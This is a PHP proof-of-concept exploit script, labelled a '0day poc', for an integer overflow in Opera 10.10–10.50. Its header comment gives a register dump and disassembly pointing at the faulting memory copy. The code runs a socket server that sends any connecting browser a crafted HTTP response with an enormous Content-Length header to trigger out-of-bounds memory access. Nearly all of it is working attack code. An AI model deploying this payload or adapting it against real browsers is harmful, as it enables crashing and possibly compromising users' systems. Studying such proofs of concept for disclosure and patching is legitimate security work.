<?php

/*
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
* Opera 10.10 - 10.50
* Title: Integer overflow leading
*                  to
*        out of bounds array access R/W
*                0day poc
* Autor: Marcin Ressel aka ~echo
* Date: 3.03.2010
* Software: http://choice.opera.com/download/get.pl?thanks=true&sub=true&wu=1&wulang=pl&info=1
* Version: Tested on 10.10 , 10.50 but i thing other version is vulnerable to
* Platform: Windows xp home sp 2 pl
* Muz: http://totgeliebt.wrzuta.pl/audio/6dXgnLnsI82 (podniecilem sie)
* Contanct: pokoFac_nerda@tvn24.pl
*     
* @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*
* Exception: Access violation when writing to [01A23000]
* Registers: EAX 03D89DF2
             ECX 3FFF3ABE
             EDX 00000002
             EBX FFFFFFFF
             ESP 0012F158
             EBP 0012F160
             ESI 03DBB2F8
             EDI 01A23000
             EIP 6781E0BA Opera_12.6781E0BA
 
* DUMP Function:
        6781E060   55               PUSH EBP
        6781E061   8BEC             MOV EBP,ESP
        6781E063   57               PUSH EDI
        6781E064   56               PUSH ESI
        6781E065   8B75 0C          MOV ESI,DWORD PTR SS:[EBP+C]
        6781E068   8B4D 10          MOV ECX,DWORD PTR SS:[EBP+10]
        6781E06B   8B7D 08          MOV EDI,DWORD PTR SS:[EBP+8]
        6781E06E   8BC1             MOV EAX,ECX
        6781E070   8BD1             MOV EDX,ECX
        6781E072   03C6             ADD EAX,ESI
        6781E074   3BFE             CMP EDI,ESI
        6781E076   76 08            JBE SHORT Opera_12.6781E080
        6781E078   3BF8             CMP EDI,EAX
        6781E07A   0F82 A4010000    JB Opera_12.6781E224
        6781E080   81F9 00010000    CMP ECX,100
        6781E086   72 1F            JB SHORT Opera_12.6781E0A7
        6781E088   833D 882AF167 00 CMP DWORD PTR DS:[67F12A88],0
        6781E08F   74 16            JE SHORT Opera_12.6781E0A7
        6781E091   57               PUSH EDI
        6781E092   56               PUSH ESI
        6781E093   83E7 0F          AND EDI,0F
        6781E096   83E6 0F          AND ESI,0F
        6781E099   3BFE             CMP EDI,ESI
        6781E09B   5E               POP ESI
        6781E09C   5F               POP EDI
        6781E09D   75 08            JNZ SHORT Opera_12.6781E0A7
        6781E09F   5E               POP ESI
        6781E0A0   5F               POP EDI
        6781E0A1   5D               POP EBP
        6781E0A2  ^E9 88CEFFFF      JMP Opera_12.6781AF2F
        6781E0A7   F7C7 03000000    TEST EDI,3
        6781E0AD   75 15            JNZ SHORT Opera_12.6781E0C4
        6781E0AF   C1E9 02          SHR ECX,2
        6781E0B2   83E2 03          AND EDX,3
        6781E0B5   83F9 08          CMP ECX,8
        6781E0B8   72 2A            JB SHORT Opera_12.6781E0E4
 BUG->  6781E0BA   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  <-- BUG
        6781E0BC   FF2495 D4E18167  JMP DWORD PTR DS:[EDX*4+6781E1D4]
        6781E0C3   90               NOP
        6781E0C4   8BC7             MOV EAX,EDI
        6781E0C6   BA 03000000      MOV EDX,3
        6781E0CB   83E9 04          SUB ECX,4
        6781E0CE   72 0C            JB SHORT Opera_12.6781E0DC
        6781E0D0   83E0 03          AND EAX,3
        6781E0D3   03C8             ADD ECX,EAX
        6781E0D5   FF2485 E8E08167  JMP DWORD PTR DS:[EAX*4+6781E0E8]
        6781E0DC   FF248D E4E18167  JMP DWORD PTR DS:[ECX*4+6781E1E4]
        6781E0E3   90               NOP
        6781E0E4   FF248D 68E18167  JMP DWORD PTR DS:[ECX*4+6781E168]
        ...
*---------------------------------------------------------------------------
* BREAK AT 6781E0BA     
          ECX=3FFF3ABE (decimal 1073691326.)
          DS:[ESI]=[03DBB2F8]=00000000
          ES:[EDI]=[01A23000]=???
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@       
*
*/
  if(strtolower(substr($_ENV['OS'],0,3)) == "win") define('OS','win');
  else define('OS','nix');
     if(!extension_loaded('php_sockets'))
     { 
        if((OS == 'win') && (!@dl('php_sockets.dll')) ||
          ((OS == 'nix') && (!@dl('php_sockets.so'))))
            die('fatal php_sockets.[dll/so] '.
                'not loaded '."\r\n");            //.__line__.' '.__file__."\r\n");                                                   
     }
  /*Generated by my own fuzzer*/ 
  $EVIL = 'HTTP/1.1 200 ok'."\r\n".
          'Transfer-Encoding: identity'."\r\n".
          'Date: thu 28 dec 2003 12:4:33 gmt'."\r\n".
          'Server: moj zuy server'."\r\n".
          'Set-Cookie: psid=d6dd02e9957fb162d2385ca6f2829a73;path=C:/'."\r\n".
          'Content-Location: file://C:/boot.ini'."\r\n".
          'Vary:negotiate,accept-language,accept-charset'."\r\n".
          'Tcn: choice'."\r\n".
          'Last-modified: sun,21 nov 2010 22:22:22 gmt'."\r\n".
          'Etag: "3861-5c6-1b28fa80;386a-9dc-1b28fa80"'."\r\n".
          'Accept-Ranges: bytes'."\r\n".
          'Cache-Control: max-age=0'."\r\n".
          'Expires: mon, 22 feb 2010 18:31:20 gmt'."\r\n".
          'Content-Encoding: identity'."\r\n".
          'Content-Length:9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999666'."\r\n".
          //'Content-Length:99999999999999999999999999999999666'."\r\n".
          'Via: 1.1 cache.zuo.pl:3128 (squid/2.7.stable6)'."\r\n".
          'Keep-Alive: timeout=15, max=300'."\r\n".
          'Connection: keep-alive'."\r\n".
          'Content-Type: text/html; charset=iso-8859-2'."\r\n".
          'Age: 1'."\r\n".
          'Allow: GET,HEAD'."\r\n".
          'Content-Disposition: inline'."\r\n".
          'Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ=='."\r\n".
          'Warning: 199 Miscellaneous warning'."\r\n".
          'Trailer: Max-Forwards'."\r\n".
          'Location: chrome://inspector/content/viewers/dom/dom.xul'."\r\n".
          'Content-Range: bytes 21010-47021/47022'."\r\n".
          'Content-Language: pl'."\r\n\r\n".
          '<html><head></head><body style="background-color:red;color:white;text-align:center;"><b>seq_end</b><script>location.href="http://swswqosksqowkd";</script></body></html>';
  $buster = $argc - 1;
  //use -port 666 if you need
  for($i = 1; $i<=$buster; $i+=2)
  {
      if(('-port' == $argv[$i]) && ((int)$argv[$i + 1] > 0)) $PORT = $argv[$i + 1];
      else $PORT = 81;
  }                                                                                                                                              
  if(!($SOCKET = socket_create_listen($PORT)))
                 die('fatal socket init failed'."\r\n");
  socket_set_option($SOCKET,SOL_SOCKET,
                            SO_RCVTIMEO,array("sec"=>3,"usec"=>0));   
  echo('SOCKET READY AT PORT '.$PORT."\r\n".
       'Now connect here via opera'."\r\n");                                  
  if($CONNECT = socket_accept($SOCKET))
  {
                $recv_buffer = null;
                echo('Connection ok '."\r\n");
                if(socket_recv($CONNECT,$recv_buffer,8,/*msg_dontwait*/MSG_WAITALL)) 
                {
                                if(!@socket_write($CONNECT,$EVIL))
                                {
                                    socket_close($CONNECT);
                                    socket_close($SOCKET);     
                                    die('I cant send payload !'."\r\n");
                                }    
                }
                else echo('Something wrong with client side'."\r\n");
                usleep(120000);
                socket_close($CONNECT);
                socket_close($SOCKET);                                                                
  }             
  echo('OK ya browser must be death now'."\r\n".
       'Have a nice day lol'."\r\n");  
               
//[2010-03-03 20:47:46]
//i cut be milion dolar man ;=
?>